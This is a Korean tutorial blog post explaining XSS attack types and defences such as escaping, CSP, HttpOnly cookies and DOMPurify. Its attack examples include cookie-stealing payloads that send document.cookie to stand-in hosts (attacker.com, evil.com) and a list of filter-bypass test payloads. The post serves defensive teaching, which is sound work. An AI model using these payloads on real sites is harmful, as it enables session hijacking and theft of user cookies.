[Web Security] XSS 공격과 방어 기법 완벽 가이드

🎯 XSS(Cross-Site Scripting)란?

XSS는 공격자가 웹 페이지에 악성 스크립트를 삽입하여 다른 사용자의 브라우저에서 실행시키는 공격입니다.
사용자의 쿠키, 세션 토큰을 탈취하거나, 사용자인 척 행동할 수 있습니다.

XSS vs CSRF 차이점

구분 XSS CSRF
공격 대상 웹사이트의 사용자 웹사이트의 서버
공격 방식 악성 스크립트 실행 사용자 권한으로 요청 전송
주요 수단 JavaScript 주입 자동 폼 제출, 이미지 태그
탈취 가능 쿠키, 세션, DOM, 키 입력 등 불가능 (요청만 가능)

🔍 XSS 공격 유형

1. Stored XSS (저장형)

악성 스크립트가 서버 데이터베이스에 저장되어, 해당 페이지를 보는 모든 사용자에게 실행됩니다.
가장 위험한 XSS 공격입니다.

공격 시나리오

// 게시판 댓글 작성
const comment = '<script>
fetch("https://attacker.com/steal?cookie=" + document.cookie);
</script>';

// 서버에 저장됨
// DB: comments 테이블에 위 스크립트가 그대로 저장

// 다른 사용자가 게시글을 볼 때
<div class="comment">
<script>
fetch("https://attacker.com/steal?cookie=" + document.cookie);
</script>
</div>
// ⚠️ 모든 방문자의 쿠키가 탈취됨!

실제 사례

<!-- 프로필 이름 필드에 스크립트 삽입 -->
이름: <img src=x onerror="
new Image().src='https://evil.com/log?c='+document.cookie
">

<!-- 게시글 제목 -->
제목: <svg onload="alert('XSS')">

<!-- 댓글 내용 -->
<iframe src="javascript:alert('XSS')"></iframe>

2. Reflected XSS (반사형)

악성 스크립트가 URL 파라미터나 폼 입력을 통해 즉시 반사되어 실행됩니다.
서버에 저장되지 않으며, 피싱 링크를 통해 전파됩니다.

공격 시나리오

// 취약한 검색 기능
https://shop.com/search?q=<script>alert('XSS')</script>

// 서버 코드 (취약)
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`검색 결과: ${query}`); // ⚠️ 그대로 출력
});

// 렌더링 결과
<div>
검색 결과: <script>alert('XSS')</script>
</div>

피싱 공격 예시

공격자가 이메일로 전송하는 링크:
https://bank.com/login?redirect=<script>
document.location='https://evil.com/phishing?cookie='+document.cookie
</script>

사용자가 클릭하면:
1. 은행 사이트에서 스크립트 실행
2. 쿠키가 공격자 서버로 전송
3. 공격자가 세션 하이재킹

3. DOM-based XSS (DOM 기반)

서버를 거치지 않고 클라이언트 측 JavaScript에서 발생합니다.
URL Fragment(#)나 DOM 조작 시 발생합니다.

공격 시나리오

// 취약한 JavaScript 코드
const urlParams = new URLSearchParams(window.location.search);
const name = urlParams.get('name');
document.getElementById('welcome').innerHTML = `환영합니다, ${name}님!`;
// ⚠️ innerHTML에 직접 삽입

// 공격 URL
https://site.com/?name=<img src=x onerror="alert('XSS')">

// 결과
<div id="welcome">
환영합니다, <img src=x onerror="alert('XSS')">님!
</div>

위험한 DOM API

// ❌ 위험한 방법들
element.innerHTML = userInput;
element.outerHTML = userInput;
document.write(userInput);
eval(userInput);
setTimeout(userInput, 1000);
new Function(userInput);

// ✅ 안전한 대안
element.textContent = userInput; // HTML 파싱 안 함
element.innerText = userInput; // HTML 파싱 안 함

🛡️ XSS 방어 기법

1. 입력 검증 및 새니타이제이션 (Input Validation & Sanitization)

백엔드 검증 (필수)

// Spring Boot + JSR-303 Validation
@PostMapping("/comment")
public ResponseEntity<?> createComment(@Valid @RequestBody CommentDto dto) {
return ResponseEntity.ok(commentService.save(dto));
}

public class CommentDto {
@NotBlank
@Size(min = 1, max = 500)
@Pattern(regexp = "^[^<>]*$", message = "HTML 태그는 허용되지 않습니다")
private String content;
}
// Node.js + express-validator
const { body, validationResult } = require('express-validator');

app.post('/comment',
body('content')
.trim()
.isLength({ min: 1, max: 500 })
.escape(), // HTML 엔티티 변환
(req, res) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
// 저장 로직
}
);

HTML 엔티티 인코딩

// 위험한 문자를 HTML 엔티티로 변환
function escapeHtml(text) {
const map = {
'&': '&amp;',
'<': '&lt;',
'>': '&gt;',
'"': '&quot;',
"'": '&#039;',
'/': '&#x2F;'
};
return text.replace(/[&<>"'/]/g, char => map[char]);
}

// 사용 예시
const userInput = '<script>alert("XSS")</script>';
const safe = escapeHtml(userInput);
console.log(safe);
// &lt;script&gt;alert(&quot;XSS&quot;)&lt;&#x2F;script&gt;

2. 출력 인코딩 (Output Encoding)

템플릿 엔진 자동 이스케이프

<!-- Thymeleaf (Spring) - 기본적으로 이스케이프 -->
<div th:text="${userInput}"></div>
<!-- 결과: &lt;script&gt;alert('XSS')&lt;/script&gt; -->

<!-- HTML 그대로 출력 (위험!) -->
<div th:utext="${userInput}"></div>
<!-- 결과: <script>alert('XSS')</script> ⚠️ 실행됨! -->
// React - 기본적으로 이스케이프
function Comment({ text }) {
return <div>{text}</div>;
// 자동으로 HTML 엔티티로 변환
}

// 위험한 방법 (사용 금지)
function DangerousComment({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
// ⚠️ XSS 취약점 발생!
}
<!-- Vue.js - 기본적으로 이스케이프 -->
<template>
<div>{{ userInput }}</div>
<!-- 안전: HTML 엔티티로 변환 -->

<div v-html="userInput"></div>
<!-- ⚠️ 위험: HTML 그대로 렌더링 -->
</template>

3. Content Security Policy (CSP)

브라우저에게 “어떤 스크립트를 실행할지” 알려주는 보안 정책입니다.

CSP 헤더 설정

Content-Security-Policy: default-src 'self';
script-src 'self' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
font-src 'self' https://fonts.googleapis.com;
object-src 'none';
base-uri 'self';
form-action 'self';

CSP 디렉티브 설명

디렉티브 설명
default-src 모든 리소스의 기본 정책
script-src JavaScript 실행 가능한 출처
style-src CSS 출처
img-src 이미지 출처
connect-src AJAX, WebSocket 연결 허용 출처
font-src 폰트 출처
object-src <object>, <embed> 태그 출처
base-uri <base> 태그 제한
form-action 폼 제출 가능한 URL

CSP 특수 값

'none'              - 모든 출처 차단
'self' - 같은 도메인만 허용
'unsafe-inline' - 인라인 스크립트/스타일 허용 (⚠️ 위험)
'unsafe-eval' - eval() 사용 허용 (⚠️ 위험)
'strict-dynamic' - Nonce/Hash로 로드된 스크립트가 생성한 스크립트 허용
'nonce-<random>' - 특정 난수를 가진 스크립트만 허용
'sha256-<hash>' - 특정 해시를 가진 스크립트만 허용

Spring Boot CSP 설정

@Configuration
public class SecurityConfig {

@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.headers(headers -> headers
.contentSecurityPolicy(csp -> csp
.policyDirectives(
"default-src 'self'; " +
"script-src 'self' 'nonce-{nonce}' https://cdn.jsdelivr.net; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:; " +
"font-src 'self' https://fonts.googleapis.com; " +
"connect-src 'self' https://api.example.com; " +
"frame-ancestors 'none'; " +
"base-uri 'self'; " +
"form-action 'self'"
)
)
);

return http.build();
}
}

Nonce 기반 CSP (권장)

// Controller
@GetMapping("/page")
public String page(Model model) {
String nonce = generateRandomNonce();
model.addAttribute("cspNonce", nonce);
return "page";
}

// Nonce 생성
private String generateRandomNonce() {
byte[] nonceBytes = new byte[16];
new SecureRandom().nextBytes(nonceBytes);
return Base64.getEncoder().encodeToString(nonceBytes);
}
<!-- Thymeleaf 템플릿 -->
<html>
<head>
<meta http-equiv="Content-Security-Policy"
th:content="'script-src ''nonce-' + ${cspNonce} + ''''">
</head>
<body>
<!-- Nonce 속성이 있는 스크립트만 실행됨 -->
<script th:nonce="${cspNonce}">
console.log('This script will execute');
</script>

<!-- Nonce가 없으면 차단됨 -->
<script>
console.log('This will be blocked');
</script>
</body>
</html>

4. HTTPOnly & Secure 쿠키

Set-Cookie: session_id=abc123;
HttpOnly; # JavaScript로 접근 불가
Secure; # HTTPS에서만 전송
SameSite=Strict # CSRF 방어

Spring Boot 설정

# application.yml
server:
servlet:
session:
cookie:
http-only: true
secure: true
same-site: strict
// Java 코드로 쿠키 설정
@PostMapping("/login")
public ResponseEntity<?> login(@RequestBody LoginDto dto, HttpServletResponse response) {
String sessionId = authService.login(dto);

ResponseCookie cookie = ResponseCookie.from("session_id", sessionId)
.httpOnly(true)
.secure(true)
.sameSite("Strict")
.path("/")
.maxAge(Duration.ofHours(1))
.build();

response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());
return ResponseEntity.ok().build();
}

5. 라이브러리를 이용한 새니타이제이션

DOMPurify (JavaScript)

import DOMPurify from 'dompurify';

// 사용자 입력을 안전하게 정제
const dirty = '<img src=x onerror="alert(\'XSS\')"> <b>Hello</b>';
const clean = DOMPurify.sanitize(dirty);
console.log(clean);
// 결과: <img src="x"> <b>Hello</b>
// onerror는 제거됨

// 설정 옵션
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['b', 'i', 'u', 'strong', 'em'],
ALLOWED_ATTR: ['href', 'title']
});

OWASP Java HTML Sanitizer

import org.owasp.html.PolicyFactory;
import org.owasp.html.Sanitizers;

// 기본 정책 사용
PolicyFactory policy = Sanitizers.FORMATTING
.and(Sanitizers.LINKS);

String unsafe = "<script>alert('XSS')</script><b>Hello</b>";
String safe = policy.sanitize(unsafe);
System.out.println(safe);
// 결과: <b>Hello</b>

// 커스텀 정책
PolicyFactory customPolicy = new HtmlPolicyBuilder()
.allowElements("p", "div", "span", "b", "i", "strong", "em")
.allowAttributes("href").onElements("a")
.allowAttributes("class").matching(Pattern.compile("[a-zA-Z0-9-_]+"))
.toFactory();

6. 프레임워크 기본 보호 기능 활용

React

// ✅ 안전 - 자동 이스케이프
function SafeComponent({ userInput }) {
return <div>{userInput}</div>;
}

// ❌ 위험 - 직접 HTML 삽입
function DangerousComponent({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

// ✅ 안전 - DOMPurify로 정제 후 사용
import DOMPurify from 'dompurify';

function SafeHtmlComponent({ html }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

Vue.js

<template>
<!-- ✅ 안전 - 자동 이스케이프 -->
<div>{{ userInput }}</div>

<!-- ❌ 위험 - HTML 직접 렌더링 -->
<div v-html="userInput"></div>

<!-- ✅ 안전 - 정제 후 사용 -->
<div v-html="sanitizedInput"></div>
</template>

<script>
import DOMPurify from 'dompurify';

export default {
props: ['userInput'],
computed: {
sanitizedInput() {
return DOMPurify.sanitize(this.userInput);
}
}
};
</script>

🎯 실전 방어 전략

계층별 방어 (Defense in Depth)

1. 입력 단계
✅ 클라이언트 측 검증 (UX 개선용)
✅ 서버 측 검증 (필수)
✅ 화이트리스트 기반 검증

2. 저장 단계
✅ 인코딩된 형태로 저장
✅ DB 파라미터 바인딩 사용 (SQL Injection 방어)

3. 출력 단계
✅ 템플릿 엔진 자동 이스케이프
✅ Context-aware 인코딩
✅ DOMPurify 등 라이브러리 활용

4. 브라우저 단계
✅ CSP 헤더 설정
✅ HttpOnly 쿠키
✅ X-XSS-Protection 헤더

Context-aware 인코딩

// HTML Context
const htmlEncoded = escapeHtml(userInput);
element.textContent = htmlEncoded;

// JavaScript Context
const jsEncoded = JSON.stringify(userInput);
const script = `var name = ${jsEncoded};`;

// URL Context
const urlEncoded = encodeURIComponent(userInput);
const url = `https://example.com/search?q=${urlEncoded}`;

// CSS Context (사용 최소화)
const cssEncoded = userInput.replace(/[<>"']/g, '\\$&');

Spring Security 헤더 설정

@Configuration
public class SecurityConfig {

@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.headers(headers -> headers
// XSS 보호
.xssProtection(xss -> xss
.headerValue(XXssProtectionHeaderWriter.HeaderValue.ENABLED_MODE_BLOCK)
)
// CSP
.contentSecurityPolicy(csp -> csp
.policyDirectives(
"default-src 'self'; " +
"script-src 'self' 'nonce-{nonce}'; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:; " +
"frame-ancestors 'none'"
)
)
// 기타 보안 헤더
.frameOptions(frame -> frame.deny())
.contentTypeOptions(Customizer.withDefaults())
);

return http.build();
}
}

🧪 XSS 공격 테스트

페이로드 예시

<!-- 기본 스크립트 -->
<script>alert('XSS')</script>

<!-- 이미지 태그 -->
<img src=x onerror="alert('XSS')">

<!-- SVG 태그 -->
<svg onload="alert('XSS')">

<!-- 이벤트 핸들러 -->
<body onload="alert('XSS')">
<div onmouseover="alert('XSS')">hover me</div>

<!-- JavaScript 프로토콜 -->
<a href="javascript:alert('XSS')">click</a>

<!-- Data URI -->
<iframe src="data:text/html,<script>alert('XSS')</script>"></iframe>

<!-- 인코딩 우회 -->
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;XSS&#39;&#41;">

<!-- 대소문자 우회 -->
<ScRiPt>alert('XSS')</ScRiPt>

<!-- HTML 엔티티 -->
<img src=x onerror="alert('XSS')" />

<!-- 속성 없는 태그 -->
<script>alert(String.fromCharCode(88,83,83))</script>

자동화 테스트

// Jest + React Testing Library
import { render, screen } from '@testing-library/react';
import DOMPurify from 'dompurify';

test('XSS 공격이 차단되는지 확인', () => {
const maliciousInput = '<img src=x onerror="alert(\'XSS\')">';
const sanitized = DOMPurify.sanitize(maliciousInput);

expect(sanitized).not.toContain('onerror');
expect(sanitized).not.toContain('alert');
});

test('정상적인 HTML은 허용되는지 확인', () => {
const safeInput = '<b>Hello</b>';
const sanitized = DOMPurify.sanitize(safeInput);

expect(sanitized).toBe('<b>Hello</b>');
});
// JUnit + Spring Boot
@Test
void testXssProtection() throws Exception {
String maliciousComment = "<script>alert('XSS')</script>";

mockMvc.perform(post("/api/comments")
.contentType(MediaType.APPLICATION_JSON)
.content("{\"content\":\"" + maliciousComment + "\"}"))
.andExpect(status().isBadRequest())
.andExpect(jsonPath("$.message")
.value(containsString("HTML 태그는 허용되지 않습니다")));
}

⚠️ 주의사항

잘못된 방어 방법

// ❌ 블랙리스트 방식 (우회 가능)
function badFilter(input) {
return input.replace(/<script>/gi, '');
}
// 우회: <scr<script>ipt>alert('XSS')</script>

// ❌ 불완전한 이스케이프
function badEscape(input) {
return input.replace(/</g, '&lt;').replace(/>/g, '&gt;');
}
// 누락: ', ", &, / 등

// ❌ 클라이언트 측 검증만 의존
// 공격자는 브라우저 개발자 도구로 우회 가능

올바른 방어 방법

// ✅ 화이트리스트 방식
function allowOnlyText(input) {
return input.replace(/[^\w\s가-힣]/g, '');
}

// ✅ 완전한 HTML 엔티티 인코딩
function properEscape(text) {
return text.replace(/[&<>"'\/]/g, char => ({
'&': '&amp;',
'<': '&lt;',
'>': '&gt;',
'"': '&quot;',
"'": '&#039;',
'/': '&#x2F;'
})[char]);
}

// ✅ 라이브러리 사용
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(input);

✅ 보안 체크리스트

  • 모든 사용자 입력에 대해 서버 측 검증 수행
  • 출력 시 자동 이스케이프 적용 (템플릿 엔진)
  • CSP 헤더 설정
  • HttpOnly, Secure 쿠키 사용
  • innerHTML, dangerouslySetInnerHTML 사용 최소화
  • eval(), setTimeout(string), Function(string) 사용 금지
  • DOMPurify 같은 검증된 라이브러리 사용
  • 정기적인 보안 테스트 및 코드 리뷰
  • 프레임워크 및 라이브러리 최신 버전 유지
  • HTTPS 사용 강제

🎓 결론

XSS는 사용자 입력을 신뢰하지 않는 것이 핵심입니다.

핵심 방어 원칙:

  1. 입력 검증 - 서버에서 모든 입력 검증
  2. 출력 인코딩 - Context-aware 인코딩 적용
  3. CSP 설정 - 스크립트 실행 제어
  4. HttpOnly 쿠키 - JavaScript로 쿠키 접근 차단
  5. 라이브러리 활용 - DOMPurify 등 검증된 도구 사용

단일 방어보다는 **여러 계층의 방어(Defense in Depth)**를 구축하여
하나가 뚫려도 다른 방어선에서 막을 수 있도록 해야 합니다.

Share